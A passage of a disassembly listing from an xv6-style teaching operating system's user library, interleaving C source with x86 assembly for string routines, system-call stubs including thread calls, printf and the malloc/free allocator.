<strlen+0x13> cd: 83 45 fc 01 addl $0x1,-0x4(%ebp) d1: 8b 45 fc mov -0x4(%ebp),%eax d4: 03 45 08 add 0x8(%ebp),%eax d7: 0f b6 00 movzbl (%eax),%eax da: 84 c0 test %al,%al dc: 75 ef jne cd <strlen+0xf> ; return n; de: 8b 45 fc mov -0x4(%ebp),%eax } e1: c9 leave e2: c3 ret 000000e3 <memset>: void* memset(void *dst, int c, uint n) { e3: 55 push %ebp e4: 89 e5 mov %esp,%ebp e6: 83 ec 0c sub $0xc,%esp stosb(dst, c, n); e9: 8b 45 10 mov 0x10(%ebp),%eax ec: 89 44 24 08 mov %eax,0x8(%esp) f0: 8b 45 0c mov 0xc(%ebp),%eax f3: 89 44 24 04 mov %eax,0x4(%esp) f7: 8b 45 08 mov 0x8(%ebp),%eax fa: 89 04 24 mov %eax,(%esp) fd: e8 22 ff ff ff call 24 <stosb> return dst; 102: 8b 45 08 mov 0x8(%ebp),%eax } 105: c9 leave 106: c3 ret 00000107 <strchr>: char* strchr(const char *s, char c) { 107: 55 push %ebp 108: 89 e5 mov %esp,%ebp 10a: 83 ec 04 sub $0x4,%esp 10d: 8b 45 0c mov 0xc(%ebp),%eax 110: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) 113: eb 14 jmp 129 <strchr+0x22> if(*s == c) 115: 8b 45 08 mov 0x8(%ebp),%eax 118: 0f b6 00 movzbl (%eax),%eax 11b: 3a 45 fc cmp -0x4(%ebp),%al 11e: 75 05 jne 125 <strchr+0x1e> return (char*)s; 120: 8b 45 08 mov 0x8(%ebp),%eax 123: eb 13 jmp 138 <strchr+0x31> } char* strchr(const char *s, char c) { for(; *s; s++) 125: 83 45 08 01 addl $0x1,0x8(%ebp) 129: 8b 45 08 mov 0x8(%ebp),%eax 12c: 0f b6 00 movzbl (%eax),%eax 12f: 84 c0 test %al,%al 131: 75 e2 jne 115 <strchr+0xe> if(*s == c) return (char*)s; return 0; 133: b8 00 00 00 00 mov $0x0,%eax } 138: c9 leave 139: c3 ret 0000013a <gets>: char* gets(char *buf, int max) { 13a: 55 push %ebp 13b: 89 e5 mov %esp,%ebp 13d: 83 ec 28 sub $0x28,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 140: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 147: eb 44 jmp 18d <gets+0x53> cc = read(0, &c, 1); 149: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 150: 00 151: 8d 45 ef lea -0x11(%ebp),%eax 154: 89 44 24 04 mov %eax,0x4(%esp) 158: c7 04 24 00 00 00 00 movl $0x0,(%esp) 15f: e8 3c 01 00 00 call 2a0 <read> 164: 89 45 f0 mov %eax,-0x10(%ebp) if(cc < 1) 167: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 16b: 7e 2d jle 19a <gets+0x60> break; buf[i++] = c; 16d: 8b 45 f4 mov -0xc(%ebp),%eax 170: 03 45 08 add 0x8(%ebp),%eax 173: 0f b6 55 ef movzbl -0x11(%ebp),%edx 177: 88 10 mov %dl,(%eax) 179: 83 45 f4 01 addl $0x1,-0xc(%ebp) if(c == '\n' || c == '\r') 17d: 0f b6 45 ef movzbl -0x11(%ebp),%eax 181: 3c 0a cmp $0xa,%al 183: 74 16 je 19b <gets+0x61> 185: 0f b6 45 ef movzbl -0x11(%ebp),%eax 189: 3c 0d cmp $0xd,%al 18b: 74 0e je 19b <gets+0x61> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 18d: 8b 45 f4 mov -0xc(%ebp),%eax 190: 83 c0 01 add $0x1,%eax 193: 3b 45 0c cmp 0xc(%ebp),%eax 196: 7c b1 jl 149 <gets+0xf> 198: eb 01 jmp 19b <gets+0x61> cc = read(0, &c, 1); if(cc < 1) break; 19a: 90 nop buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 19b: 8b 45 f4 mov -0xc(%ebp),%eax 19e: 03 45 08 add 0x8(%ebp),%eax 1a1: c6 00 00 movb $0x0,(%eax) return buf; 1a4: 8b 45 08 mov 0x8(%ebp),%eax } 1a7: c9 leave 1a8: c3 ret 000001a9 <stat>: int stat(char *n, struct stat *st) { 1a9: 55 push %ebp 1aa: 89 e5 mov %esp,%ebp 1ac: 83 ec 28 sub $0x28,%esp int fd; int r; fd = open(n, O_RDONLY); 1af: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 1b6: 00 1b7: 8b 45 08 mov 0x8(%ebp),%eax 1ba: 89 04 24 mov %eax,(%esp) 1bd: e8 06 01 00 00 call 2c8 <open> 1c2: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0) 1c5: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 1c9: 79 07 jns 1d2 <stat+0x29> return -1; 1cb: b8 ff ff ff ff mov $0xffffffff,%eax 1d0: eb 23 jmp 1f5 <stat+0x4c> r = fstat(fd, st); 1d2: 8b 45 0c mov 0xc(%ebp),%eax 1d5: 89 44 24 04 mov %eax,0x4(%esp) 1d9: 8b 45 f4 mov -0xc(%ebp),%eax 1dc: 89 04 24 mov %eax,(%esp) 1df: e8 fc 00 00 00 call 2e0 <fstat> 1e4: 89 45 f0 mov %eax,-0x10(%ebp) close(fd); 1e7: 8b 45 f4 mov -0xc(%ebp),%eax 1ea: 89 04 24 mov %eax,(%esp) 1ed: e8 be 00 00 00 call 2b0 <close> return r; 1f2: 8b 45 f0 mov -0x10(%ebp),%eax } 1f5: c9 leave 1f6: c3 ret 000001f7 <atoi>: int atoi(const char *s) { 1f7: 55 push %ebp 1f8: 89 e5 mov %esp,%ebp 1fa: 83 ec 10 sub $0x10,%esp int n; n = 0; 1fd: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while('0' <= *s && *s <= '9') 204: eb 23 jmp 229 <atoi+0x32> n = n*10 + *s++ - '0'; 206: 8b 55 fc mov -0x4(%ebp),%edx 209: 89 d0 mov %edx,%eax 20b: c1 e0 02 shl $0x2,%eax 20e: 01 d0 add %edx,%eax 210: 01 c0 add %eax,%eax 212: 89 c2 mov %eax,%edx 214: 8b 45 08 mov 0x8(%ebp),%eax 217: 0f b6 00 movzbl (%eax),%eax 21a: 0f be c0 movsbl %al,%eax 21d: 01 d0 add %edx,%eax 21f: 83 e8 30 sub $0x30,%eax 222: 89 45 fc mov %eax,-0x4(%ebp) 225: 83 45 08 01 addl $0x1,0x8(%ebp) atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 229: 8b 45 08 mov 0x8(%ebp),%eax 22c: 0f b6 00 movzbl (%eax),%eax 22f: 3c 2f cmp $0x2f,%al 231: 7e 0a jle 23d <atoi+0x46> 233: 8b 45 08 mov 0x8(%ebp),%eax 236: 0f b6 00 movzbl (%eax),%eax 239: 3c 39 cmp $0x39,%al 23b: 7e c9 jle 206 <atoi+0xf> n = n*10 + *s++ - '0'; return n; 23d: 8b 45 fc mov -0x4(%ebp),%eax } 240: c9 leave 241: c3 ret 00000242 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 242: 55 push %ebp 243: 89 e5 mov %esp,%ebp 245: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 248: 8b 45 08 mov 0x8(%ebp),%eax 24b: 89 45 fc mov %eax,-0x4(%ebp) src = vsrc; 24e: 8b 45 0c mov 0xc(%ebp),%eax 251: 89 45 f8 mov %eax,-0x8(%ebp) while(n-- > 0) 254: eb 13 jmp 269 <memmove+0x27> *dst++ = *src++; 256: 8b 45 f8 mov -0x8(%ebp),%eax 259: 0f b6 10 movzbl (%eax),%edx 25c: 8b 45 fc mov -0x4(%ebp),%eax 25f: 88 10 mov %dl,(%eax) 261: 83 45 fc 01 addl $0x1,-0x4(%ebp) 265: 83 45 f8 01 addl $0x1,-0x8(%ebp) { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 269: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 26d: 0f 9f c0 setg %al 270: 83 6d 10 01 subl $0x1,0x10(%ebp) 274: 84 c0 test %al,%al 276: 75 de jne 256 <memmove+0x14> *dst++ = *src++; return vdst; 278: 8b 45 08 mov 0x8(%ebp),%eax } 27b: c9 leave 27c: c3 ret 27d: 90 nop 27e: 90 nop 27f: 90 nop 00000280 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 280: b8 01 00 00 00 mov $0x1,%eax 285: cd 40 int $0x40 287: c3 ret 00000288 <exit>: SYSCALL(exit) 288: b8 02 00 00 00 mov $0x2,%eax 28d: cd 40 int $0x40 28f: c3 ret 00000290 <wait>: SYSCALL(wait) 290: b8 03 00 00 00 mov $0x3,%eax 295: cd 40 int $0x40 297: c3 ret 00000298 <pipe>: SYSCALL(pipe) 298: b8 04 00 00 00 mov $0x4,%eax 29d: cd 40 int $0x40 29f: c3 ret 000002a0 <read>: SYSCALL(read) 2a0: b8 05 00 00 00 mov $0x5,%eax 2a5: cd 40 int $0x40 2a7: c3 ret 000002a8 <write>: SYSCALL(write) 2a8: b8 10 00 00 00 mov $0x10,%eax 2ad: cd 40 int $0x40 2af: c3 ret 000002b0 <close>: SYSCALL(close) 2b0: b8 15 00 00 00 mov $0x15,%eax 2b5: cd 40 int $0x40 2b7: c3 ret 000002b8 <kill>: SYSCALL(kill) 2b8: b8 06 00 00 00 mov $0x6,%eax 2bd: cd 40 int $0x40 2bf: c3 ret 000002c0 <exec>: SYSCALL(exec) 2c0: b8 07 00 00 00 mov $0x7,%eax 2c5: cd 40 int $0x40 2c7: c3 ret 000002c8 <open>: SYSCALL(open) 2c8: b8 0f 00 00 00 mov $0xf,%eax 2cd: cd 40 int $0x40 2cf: c3 ret 000002d0 <mknod>: SYSCALL(mknod) 2d0: b8 11 00 00 00 mov $0x11,%eax 2d5: cd 40 int $0x40 2d7: c3 ret 000002d8 <unlink>: SYSCALL(unlink) 2d8: b8 12 00 00 00 mov $0x12,%eax 2dd: cd 40 int $0x40 2df: c3 ret 000002e0 <fstat>: SYSCALL(fstat) 2e0: b8 08 00 00 00 mov $0x8,%eax 2e5: cd 40 int $0x40 2e7: c3 ret 000002e8 <link>: SYSCALL(link) 2e8: b8 13 00 00 00 mov $0x13,%eax 2ed: cd 40 int $0x40 2ef: c3 ret 000002f0 <mkdir>: SYSCALL(mkdir) 2f0: b8 14 00 00 00 mov $0x14,%eax 2f5: cd 40 int $0x40 2f7: c3 ret 000002f8 <chdir>: SYSCALL(chdir) 2f8: b8 09 00 00 00 mov $0x9,%eax 2fd: cd 40 int $0x40 2ff: c3 ret 00000300 <dup>: SYSCALL(dup) 300: b8 0a 00 00 00 mov $0xa,%eax 305: cd 40 int $0x40 307: c3 ret 00000308 <getpid>: SYSCALL(getpid) 308: b8 0b 00 00 00 mov $0xb,%eax 30d: cd 40 int $0x40 30f: c3 ret 00000310 <sbrk>: SYSCALL(sbrk) 310: b8 0c 00 00 00 mov $0xc,%eax 315: cd 40 int $0x40 317: c3 ret 00000318 <sleep>: SYSCALL(sleep) 318: b8 0d 00 00 00 mov $0xd,%eax 31d: cd 40 int $0x40 31f: c3 ret 00000320 <uptime>: SYSCALL(uptime) 320: b8 0e 00 00 00 mov $0xe,%eax 325: cd 40 int $0x40 327: c3 ret 00000328 <halt>: SYSCALL(halt) 328: b8 16 00 00 00 mov $0x16,%eax 32d: cd 40 int $0x40 32f: c3 ret 00000330 <clone>: SYSCALL(clone) 330: b8 19 00 00 00 mov $0x19,%eax 335: cd 40 int $0x40 337: c3 ret 00000338 <join>: SYSCALL(join) 338: b8 1a 00 00 00 mov $0x1a,%eax 33d: cd 40 int $0x40 33f: c3 ret 00000340 <texit>: SYSCALL(texit) 340: b8 1b 00 00 00 mov $0x1b,%eax 345: cd 40 int $0x40 347: c3 ret 00000348 <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 348: 55 push %ebp 349: 89 e5 mov %esp,%ebp 34b: 83 ec 28 sub $0x28,%esp 34e: 8b 45 0c mov 0xc(%ebp),%eax 351: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); 354: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 35b: 00 35c: 8d 45 f4 lea -0xc(%ebp),%eax 35f: 89 44 24 04 mov %eax,0x4(%esp) 363: 8b 45 08 mov 0x8(%ebp),%eax 366: 89 04 24 mov %eax,(%esp) 369: e8 3a ff ff ff call 2a8 <write> } 36e: c9 leave 36f: c3 ret 00000370 <printint>: static void printint(int fd, int xx, int base, int sgn) { 370: 55 push %ebp 371: 89 e5 mov %esp,%ebp 373: 83 ec 48 sub $0x48,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 376: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if(sgn && xx < 0){ 37d: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 381: 74 17 je 39a <printint+0x2a> 383: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 387: 79 11 jns 39a <printint+0x2a> neg = 1; 389: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; 390: 8b 45 0c mov 0xc(%ebp),%eax 393: f7 d8 neg %eax 395: 89 45 ec mov %eax,-0x14(%ebp) 398: eb 06 jmp 3a0 <printint+0x30> } else { x = xx; 39a: 8b 45 0c mov 0xc(%ebp),%eax 39d: 89 45 ec mov %eax,-0x14(%ebp) } i = 0; 3a0: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) do{ buf[i++] = digits[x % base]; 3a7: 8b 4d 10 mov 0x10(%ebp),%ecx 3aa: 8b 45 ec mov -0x14(%ebp),%eax 3ad: ba 00 00 00 00 mov $0x0,%edx 3b2: f7 f1 div %ecx 3b4: 89 d0 mov %edx,%eax 3b6: 0f b6 90 28 0a 00 00 movzbl 0xa28(%eax),%edx 3bd: 8d 45 dc lea -0x24(%ebp),%eax 3c0: 03 45 f4 add -0xc(%ebp),%eax 3c3: 88 10 mov %dl,(%eax) 3c5: 83 45 f4 01 addl $0x1,-0xc(%ebp) }while((x /= base) != 0); 3c9: 8b 55 10 mov 0x10(%ebp),%edx 3cc: 89 55 d4 mov %edx,-0x2c(%ebp) 3cf: 8b 45 ec mov -0x14(%ebp),%eax 3d2: ba 00 00 00 00 mov $0x0,%edx 3d7: f7 75 d4 divl -0x2c(%ebp) 3da: 89 45 ec mov %eax,-0x14(%ebp) 3dd: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 3e1: 75 c4 jne 3a7 <printint+0x37> if(neg) 3e3: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 3e7: 74 2a je 413 <printint+0xa3> buf[i++] = '-'; 3e9: 8d 45 dc lea -0x24(%ebp),%eax 3ec: 03 45 f4 add -0xc(%ebp),%eax 3ef: c6 00 2d movb $0x2d,(%eax) 3f2: 83 45 f4 01 addl $0x1,-0xc(%ebp) while(--i >= 0) 3f6: eb 1b jmp 413 <printint+0xa3> putc(fd, buf[i]); 3f8: 8d 45 dc lea -0x24(%ebp),%eax 3fb: 03 45 f4 add -0xc(%ebp),%eax 3fe: 0f b6 00 movzbl (%eax),%eax 401: 0f be c0 movsbl %al,%eax 404: 89 44 24 04 mov %eax,0x4(%esp) 408: 8b 45 08 mov 0x8(%ebp),%eax 40b: 89 04 24 mov %eax,(%esp) 40e: e8 35 ff ff ff call 348 <putc> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 413: 83 6d f4 01 subl $0x1,-0xc(%ebp) 417: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 41b: 79 db jns 3f8 <printint+0x88> putc(fd, buf[i]); } 41d: c9 leave 41e: c3 ret 0000041f <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 41f: 55 push %ebp 420: 89 e5 mov %esp,%ebp 422: 83 ec 38 sub $0x38,%esp char *s; int c, i, state; uint *ap; state = 0; 425: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) ap = (uint*)(void*)&fmt + 1; 42c: 8d 45 0c lea 0xc(%ebp),%eax 42f: 83 c0 04 add $0x4,%eax 432: 89 45 e8 mov %eax,-0x18(%ebp) for(i = 0; fmt[i]; i++){ 435: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 43c: e9 7d 01 00 00 jmp 5be <printf+0x19f> c = fmt[i] & 0xff; 441: 8b 55 0c mov 0xc(%ebp),%edx 444: 8b 45 f0 mov -0x10(%ebp),%eax 447: 01 d0 add %edx,%eax 449: 0f b6 00 movzbl (%eax),%eax 44c: 0f be c0 movsbl %al,%eax 44f: 25 ff 00 00 00 and $0xff,%eax 454: 89 45 e4 mov %eax,-0x1c(%ebp) if(state == 0){ 457: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 45b: 75 2c jne 489 <printf+0x6a> if(c == '%'){ 45d: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 461: 75 0c jne 46f <printf+0x50> state = '%'; 463: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp) 46a: e9 4b 01 00 00 jmp 5ba <printf+0x19b> } else { putc(fd, c); 46f: 8b 45 e4 mov -0x1c(%ebp),%eax 472: 0f be c0 movsbl %al,%eax 475: 89 44 24 04 mov %eax,0x4(%esp) 479: 8b 45 08 mov 0x8(%ebp),%eax 47c: 89 04 24 mov %eax,(%esp) 47f: e8 c4 fe ff ff call 348 <putc> 484: e9 31 01 00 00 jmp 5ba <printf+0x19b> } } else if(state == '%'){ 489: 83 7d ec 25 cmpl $0x25,-0x14(%ebp) 48d: 0f 85 27 01 00 00 jne 5ba <printf+0x19b> if(c == 'd'){ 493: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp) 497: 75 2d jne 4c6 <printf+0xa7> printint(fd, *ap, 10, 1); 499: 8b 45 e8 mov -0x18(%ebp),%eax 49c: 8b 00 mov (%eax),%eax 49e: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp) 4a5: 00 4a6: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp) 4ad: 00 4ae: 89 44 24 04 mov %eax,0x4(%esp) 4b2: 8b 45 08 mov 0x8(%ebp),%eax 4b5: 89 04 24 mov %eax,(%esp) 4b8: e8 b3 fe ff ff call 370 <printint> ap++; 4bd: 83 45 e8 04 addl $0x4,-0x18(%ebp) 4c1: e9 ed 00 00 00 jmp 5b3 <printf+0x194> } else if(c == 'x' || c == 'p'){ 4c6: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp) 4ca: 74 06 je 4d2 <printf+0xb3> 4cc: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp) 4d0: 75 2d jne 4ff <printf+0xe0> printint(fd, *ap, 16, 0); 4d2: 8b 45 e8 mov -0x18(%ebp),%eax 4d5: 8b 00 mov (%eax),%eax 4d7: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp) 4de: 00 4df: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 4e6: 00 4e7: 89 44 24 04 mov %eax,0x4(%esp) 4eb: 8b 45 08 mov 0x8(%ebp),%eax 4ee: 89 04 24 mov %eax,(%esp) 4f1: e8 7a fe ff ff call 370 <printint> ap++; 4f6: 83 45 e8 04 addl $0x4,-0x18(%ebp) 4fa: e9 b4 00 00 00 jmp 5b3 <printf+0x194> } else if(c == 's'){ 4ff: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp) 503: 75 46 jne 54b <printf+0x12c> s = (char*)*ap; 505: 8b 45 e8 mov -0x18(%ebp),%eax 508: 8b 00 mov (%eax),%eax 50a: 89 45 f4 mov %eax,-0xc(%ebp) ap++; 50d: 83 45 e8 04 addl $0x4,-0x18(%ebp) if(s == 0) 511: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 515: 75 27 jne 53e <printf+0x11f> s = "(null)"; 517: c7 45 f4 e4 07 00 00 movl $0x7e4,-0xc(%ebp) while(*s != 0){ 51e: eb 1e jmp 53e <printf+0x11f> putc(fd, *s); 520: 8b 45 f4 mov -0xc(%ebp),%eax 523: 0f b6 00 movzbl (%eax),%eax 526: 0f be c0 movsbl %al,%eax 529: 89 44 24 04 mov %eax,0x4(%esp) 52d: 8b 45 08 mov 0x8(%ebp),%eax 530: 89 04 24 mov %eax,(%esp) 533: e8 10 fe ff ff call 348 <putc> s++; 538: 83 45 f4 01 addl $0x1,-0xc(%ebp) 53c: eb 01 jmp 53f <printf+0x120> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 53e: 90 nop 53f: 8b 45 f4 mov -0xc(%ebp),%eax 542: 0f b6 00 movzbl (%eax),%eax 545: 84 c0 test %al,%al 547: 75 d7 jne 520 <printf+0x101> 549: eb 68 jmp 5b3 <printf+0x194> putc(fd, *s); s++; } } else if(c == 'c'){ 54b: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp) 54f: 75 1d jne 56e <printf+0x14f> putc(fd, *ap); 551: 8b 45 e8 mov -0x18(%ebp),%eax 554: 8b 00 mov (%eax),%eax 556: 0f be c0 movsbl %al,%eax 559: 89 44 24 04 mov %eax,0x4(%esp) 55d: 8b 45 08 mov 0x8(%ebp),%eax 560: 89 04 24 mov %eax,(%esp) 563: e8 e0 fd ff ff call 348 <putc> ap++; 568: 83 45 e8 04 addl $0x4,-0x18(%ebp) 56c: eb 45 jmp 5b3 <printf+0x194> } else if(c == '%'){ 56e: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 572: 75 17 jne 58b <printf+0x16c> putc(fd, c); 574: 8b 45 e4 mov -0x1c(%ebp),%eax 577: 0f be c0 movsbl %al,%eax 57a: 89 44 24 04 mov %eax,0x4(%esp) 57e: 8b 45 08 mov 0x8(%ebp),%eax 581: 89 04 24 mov %eax,(%esp) 584: e8 bf fd ff ff call 348 <putc> 589: eb 28 jmp 5b3 <printf+0x194> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 58b: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp) 592: 00 593: 8b 45 08 mov 0x8(%ebp),%eax 596: 89 04 24 mov %eax,(%esp) 599: e8 aa fd ff ff call 348 <putc> putc(fd, c); 59e: 8b 45 e4 mov -0x1c(%ebp),%eax 5a1: 0f be c0 movsbl %al,%eax 5a4: 89 44 24 04 mov %eax,0x4(%esp) 5a8: 8b 45 08 mov 0x8(%ebp),%eax 5ab: 89 04 24 mov %eax,(%esp) 5ae: e8 95 fd ff ff call 348 <putc> } state = 0; 5b3: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 5ba: 83 45 f0 01 addl $0x1,-0x10(%ebp) 5be: 8b 55 0c mov 0xc(%ebp),%edx 5c1: 8b 45 f0 mov -0x10(%ebp),%eax 5c4: 01 d0 add %edx,%eax 5c6: 0f b6 00 movzbl (%eax),%eax 5c9: 84 c0 test %al,%al 5cb: 0f 85 70 fe ff ff jne 441 <printf+0x22> putc(fd, c); } state = 0; } } } 5d1: c9 leave 5d2: c3 ret 5d3: 90 nop 000005d4 <free>: static Header base; static Header *freep; void free(void *ap) { 5d4: 55 push %ebp 5d5: 89 e5 mov %esp,%ebp 5d7: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*)ap - 1; 5da: 8b 45 08 mov 0x8(%ebp),%eax 5dd: 83 e8 08 sub $0x8,%eax 5e0: 89 45 f8 mov %eax,-0x8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 5e3: a1 44 0a 00 00 mov 0xa44,%eax 5e8: 89 45 fc mov %eax,-0x4(%ebp) 5eb: eb 24 jmp 611 <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 5ed: 8b 45 fc mov -0x4(%ebp),%eax 5f0: 8b 00 mov (%eax),%eax 5f2: 3b 45 fc cmp -0x4(%ebp),%eax 5f5: 77 12 ja 609 <free+0x35> 5f7: 8b 45 f8 mov -0x8(%ebp),%eax 5fa: 3b 45 fc cmp -0x4(%ebp),%eax 5fd: 77 24 ja 623 <free+0x4f> 5ff: 8b 45 fc mov -0x4(%ebp),%eax 602: 8b 00 mov (%eax),%eax 604: 3b 45 f8 cmp -0x8(%ebp),%eax 607: 77 1a ja 623 <free+0x4f> free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 609: 8b 45 fc mov -0x4(%ebp),%eax 60c: 8b 00 mov (%eax),%eax 60e: 89 45 fc mov %eax,-0x4(%ebp) 611: 8b 45 f8 mov -0x8(%ebp),%eax 614: 3b 45 fc cmp -0x4(%ebp),%eax 617: 76 d4 jbe 5ed <free+0x19> 619: 8b 45 fc mov -0x4(%ebp),%eax 61c: 8b 00 mov (%eax),%eax 61e: 3b 45 f8 cmp -0x8(%ebp),%eax 621: 76 ca jbe 5ed <free+0x19> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 623: 8b 45 f8 mov -0x8(%ebp),%eax 626: 8b 40 04 mov 0x4(%eax),%eax 629: c1 e0 03 shl $0x3,%eax 62c: 89 c2 mov %eax,%edx 62e: 03 55 f8 add -0x8(%ebp),%edx 631: 8b 45 fc mov -0x4(%ebp),%eax 634: 8b 00 mov (%eax),%eax 636: 39 c2 cmp %eax,%edx 638: 75 24 jne 65e <free+0x8a> bp->s.size += p->s.ptr->s.size; 63a: 8b 45 f8 mov -0x8(%ebp),%eax 63d: 8b 50 04 mov 0x4(%eax),%edx 640: 8b 45 fc mov -0x4(%ebp),%eax 643: 8b 00 mov (%eax),%eax 645: 8b 40 04 mov 0x4(%eax),%eax 648: 01 c2 add %eax,%edx 64a: 8b 45 f8 mov -0x8(%ebp),%eax 64d: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 650: 8b 45 fc mov -0x4(%ebp),%eax 653: 8b 00 mov (%eax),%eax 655: 8b 10 mov (%eax),%edx 657: 8b 45 f8 mov -0x8(%ebp),%eax 65a: 89 10 mov %edx,(%eax) 65c: eb 0a jmp 668 <free+0x94> } else bp->s.ptr = p->s.ptr; 65e: 8b 45 fc mov -0x4(%ebp),%eax 661: 8b 10 mov (%eax),%edx 663: 8b 45 f8 mov -0x8(%ebp),%eax 666: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ 668: 8b 45 fc mov -0x4(%ebp),%eax 66b: 8b 40 04 mov 0x4(%eax),%eax 66e: c1 e0 03 shl $0x3,%eax 671: 03 45 fc add -0x4(%ebp),%eax 674: 3b 45 f8 cmp -0x8(%ebp),%eax 677: 75 20 jne 699 <free+0xc5> p->s.size += bp->s.size; 679: 8b 45 fc mov -0x4(%ebp),%eax 67c: 8b 50 04 mov 0x4(%eax),%edx 67f: 8b 45 f8 mov -0x8(%ebp),%eax 682: 8b 40 04 mov 0x4(%eax),%eax 685: 01 c2 add %eax,%edx 687: 8b 45 fc mov -0x4(%ebp),%eax 68a: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 68d: 8b 45 f8 mov -0x8(%ebp),%eax 690: 8b 10 mov (%eax),%edx 692: 8b 45 fc mov -0x4(%ebp),%eax 695: 89 10 mov %edx,(%eax) 697: eb 08 jmp 6a1 <free+0xcd> } else p->s.ptr = bp; 699: 8b 45 fc mov -0x4(%ebp),%eax 69c: 8b 55 f8 mov -0x8(%ebp),%edx 69f: 89 10 mov %edx,(%eax) freep = p; 6a1: 8b 45 fc mov -0x4(%ebp),%eax 6a4: a3 44 0a 00 00 mov %eax,0xa44 } 6a9: c9 leave 6aa: c3 ret 000006ab <morecore>: static Header* morecore(uint nu) { 6ab: 55 push %ebp 6ac: 89 e5 mov %esp,%ebp 6ae: 83 ec 28 sub $0x28,%esp char *p; Header *hp; if(nu < 4096) 6b1: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) 6b8: 77 07 ja 6c1 <morecore+0x16> nu = 4096; 6ba: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); 6c1: 8b 45 08 mov 0x8(%ebp),%eax 6c4: c1 e0 03 shl $0x3,%eax 6c7: 89 04 24 mov %eax,(%esp) 6ca: e8 41 fc ff ff call 310 <sbrk> 6cf: 89 45 f4 mov %eax,-0xc(%ebp) if(p == (char*)-1) 6d2: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) 6d6: 75 07 jne 6df <morecore+0x34> return 0; 6d8: b8 00 00 00 00 mov $0x0,%eax 6dd: eb 22 jmp 701 <morecore+0x56> hp = (Header*)p; 6df: 8b 45 f4 mov -0xc(%ebp),%eax 6e2: 89 45 f0 mov %eax,-0x10(%ebp) hp->s.size = nu; 6e5: 8b 45 f0 mov -0x10(%ebp),%eax 6e8: 8b 55 08 mov 0x8(%ebp),%edx 6eb: 89 50 04 mov %edx,0x4(%eax) free((void*)(hp + 1)); 6ee: 8b 45 f0 mov -0x10(%ebp),%eax 6f1: 83 c0 08 add $0x8,%eax 6f4: 89 04 24 mov %eax,(%esp) 6f7: e8 d8 fe ff ff call 5d4 <free> return freep; 6fc: a1 44 0a 00 00 mov 0xa44,%eax } 701: c9 leave 702: c3 ret 00000703 <malloc>: void* malloc(uint nbytes) { 703: 55 push %ebp 704: 89 e5 mov %esp,%ebp 706: 83 ec 28 sub $0x28,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 709: 8b 45 08 mov 0x8(%ebp),%eax 70c: 83 c0 07 add $0x7,%eax 70f: c1 e8 03 shr 